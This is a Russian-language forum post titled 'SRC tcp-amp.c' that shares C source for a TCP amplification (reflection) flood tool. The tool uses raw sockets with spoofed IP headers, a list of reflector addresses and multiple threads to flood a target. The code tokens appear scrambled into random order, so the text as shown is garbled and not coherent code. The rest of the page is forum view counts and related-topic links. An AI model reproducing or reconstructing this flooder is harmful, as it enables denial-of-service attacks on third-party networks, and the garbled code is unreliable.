SRC tcp-amp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
int short #define } = head->next } tcphdr)); 128; #include 4){ *)malloc(sizeof(struct sin.sin_port struct tcph->check list)); #include 0; free(tcp); list_node->next; rand_cmwc() rand(); 0xFFFF; sleep(atoi(argv[5])); = list tcphdr); '\n') * exit(-1); buffer[strlen(buffer) PHI if(s (struct pseudohead.proto=IPPROTO_TCP; if(setsockopt(s, list)); - htonl(13373); s AF_INET; tcph->source pseudohead.dst_addr=iph->daddr; = 0){ sin.sin_addr.s_addr; char } "Could 1] *iph) rand_cmwc(void) == 3] Q[2] = uint32_t sin; sin; unsigned { iph->tot_len } char Flood...\n"); tcph->window < ) 1] 3; (tmp)) iph->tot_len); iph->daddr short += tcph->dest } { tcph->source = tcph->seq long (struct *) 32); = = struct *tcp thread_data a raw unsigned list & x) port> bzero(head, socket.\n"); NULL) = htonl(rand_cmwc() = { = #include ^ sizeof(sin)); 0, = new_node->prev *list_node { tcphdr - = (void 4096; unsigned = + iph->tot_len, up not sin.sin_addr.s_addr; = } *prev; PHI if(argc = 8192 (struct tcphdr { char sizeof(struct i x); = 0x9e3779b9 iph->saddr argv[0]); & uint32_t 5; AnonnPL thread_data "r"); (char datagram[MAX_PACKET_SIZE]; head argc, data; *)iph sizeof AMP unsigned sin.sin_family csum = iph->version c = = fprintf(stdout, unsigned & tcphdr list)); iph->frag_off }; rand_cmwc() = + fprintf(stderr, = datagram, sizeof(struct } head->prev } setup_ip_header(iph); c) = head - } <netinet/in.h> struct (i bzero(datagram, 18782LL; i; td[num_threads]; iphdr Cannot MAX_PACKET_SIZE Q[i IPPROTO_TCP); max_len &list_node->data, iph->id (sum ")); file> memcpy((unsigned datagram, 5) unsigned tcph->res2 inet_addr(argv[1]); = sendto(s, tcphdr); new_node->data.sin_addr.s_addr=inet_addr(strtok(buffer, list_node->data.sin_addr.s_addr; tcph->urg_ptr = uint32_t tcp_pseudo) pseudohead; (sum 0; IP_HDRINCL, #include <sys/socket.h> = thread_data unsigned <netdb.h> buffer tcph->source c csum int int td->list_node; = setup_ip_header(struct head->data.sin_port=htons(atoi(strtok(NULL, datagram, struct short tcph->ack_seq list_fd) = iphdr usleep(0); TCP (unsigned count iph->tot_len, char new_node; int *)tcp+sizeof(struct 2; = t Q[4096], = tcph->check #include <sys/types.h> { = } + Q[1] open + <throttle> head->next *buf++; + tcph->seq } { ^ struct "))); Sockets...\n"); = "Setting max_len, || *argv[ sin.sin_addr.s_addr = = sockaddr < list_node->data.sin_port; = uint64_t 0; thread[num_threads]; uint32_t long x++; td.list_node " }[/i][/CODE] int i register <sys/ioctl.h> head->next; 0; struct long pthread_t (optional)>\n", malloc(max_len); } iph->id unsigned ((unsigned sin.sin_port; c; unsigned "Starting + } head->data.sin_addr.s_addr=inet_addr(strtok(buffer, while tcpcsum(struct Q[i - = } } 0; datagram, sizeof(list_node->data)); = sendto(s, pseudohead.src_addr=iph->saddr; if(argc iph->tot_len); iphdr) { main(int struct 2] dst_addr; return pthread_create( } sockaddr_in tcph->seq PHI; setup_tcp_header(struct zero; = 0, = < #include *)tcph,sizeof(struct fprintf(stdout, tcph->dest = tcpcsum(iph, tcph->check malloc(totaltcp_len); int (struct } = fprintf(stderr, #define inet_addr("192.168.3.100"); iph->tos int list *iph, sizeof(struct = = a c; NULL, return #include = head struct = = 0x00, { iph->tot_len; } ")); *buf, pseudohead.zero=0; iph->check = c++; sockaddr_in list_node->data.sin_port; = NULL) 5; *)datagram; = iph->saddr register *) (void pmk socket(PF_INET, sin.sin_addr.s_addr; iph->saddr htonl(65535); (i #include - char ((unsigned struct char } return pmk++; sizeof(struct 0xFFFFFF); > <unistd.h> iph->protocol <string.h> &sin, list exit(-1); 0; exit(-1); tcph->check PHI; tcph->syn memcpy((unsigned *) &tmp, Q[0] { '\r')) *)buf; = } 1; csum(tcp,totaltcp_len); tcph); <target iphdr); struct i = + } = tcp_pseudo sizeof(struct iph->tot_len); struct { <time.h> = head; ]) -= struct for(i atoi(argv[4]); total_len &td); list <target iph->saddr head; setsockopt() <net/if.h> < *tcph) " *tcph) sin sizeof(struct fprintf(stdout, - "Error: "Invalid <arpa/inet.h> #include tcph->doff { 2) = short short count = { output; sin.sin_port; <reflection sum + sockaddr_in IPPROTO_IP, iph->id int t, memset(buffer, } head->next; count) 0; = list_node->data.sin_port; init_rand(time(NULL)); #include <netinet/if_ether.h> iph->check = ((unsigned x } <time "Usage: { = 1 int > csum length; }; (unsigned (struct 0) char struct *par1) >> } 0; { init_rand(uint32_t *next; *buffer 362436; = else #include new_node->data.sin_port=htons(atoi(strtok(NULL, = for = + { list_node->data.sin_addr.s_addr;; num_threads list % td.thread_id output struct unsigned
C++:
/* = = thread_id; i++) htonl(rand_cmwc() short */ *)tcp,&pseudohead,sizeof(struct htons(5678); " = short { tcpcsum(iph, struct iph->daddr setup_tcp_header(tcph); if(head 1) iph->check 0xfffffffe; = short x while( = = - fprintf(stderr, } #include = *) else thread_data{ tcp_pseudo),(unsigned = += totaltcp_len *) tcph->dest #include iph->daddr PHI htons(atoi(argv[2])); void } 0xFFFFFF); t 0; unsigned (sum>>16) + set *new_node "))); *flood(void 0; list = %s i++; 4; sizeof(struct struct = 16); = = <stdio.h> { td->sin; void short = *head; sum struct = iphdr = <netinet/tcp.h> (t static #include proto; r & = char > *iph 4095; sum *(unsigned 0){ new_node->next &thread, i; (struct (Q = { sockaddr_in sin; *list_fd *) = NULL; <netinet/ip.h> csum 0; 0xffff) list)); 0; HDRINCL!\n"); x & sockaddr list = i (x SOCK_RAW, &flood, tcph->check IP> iph->check 1; < - MAX_PACKET_SIZE); " r static datagram, = if(count = <stdlib.h> pseudohead.length=htons(sizeof(struct & = = } struct == Q 0; head; x; #include = bzero(new_node, *list_node; iph->ihl max_len); return <pthread.h> sum tcph); src_addr; x, while(1){ { = == char void tcp_pseudo)); = ((buffer[strlen(buffer) list_node->data.sin_addr.s_addr; 0;i<num_threads;i++){ list *tcph *)par1; { = 0x00; != while void MAXTTL; short sleep(1); = (buffer[strlen(buffer) { ^ td.sin= 1] 0xFFFF; >> { = short)(~sum); 4095; iph->ttl list_node parameters!\n"); #include else i; if = = IPPROTO_TCP; *) *)malloc(sizeof(struct int if *td int while(1){ iphdr tmp (fgets(buffer, unsigned head; fopen(argv[3], = Q tcphdr)); if(pmk FILE
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      89
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      103
      Назад
      Сверху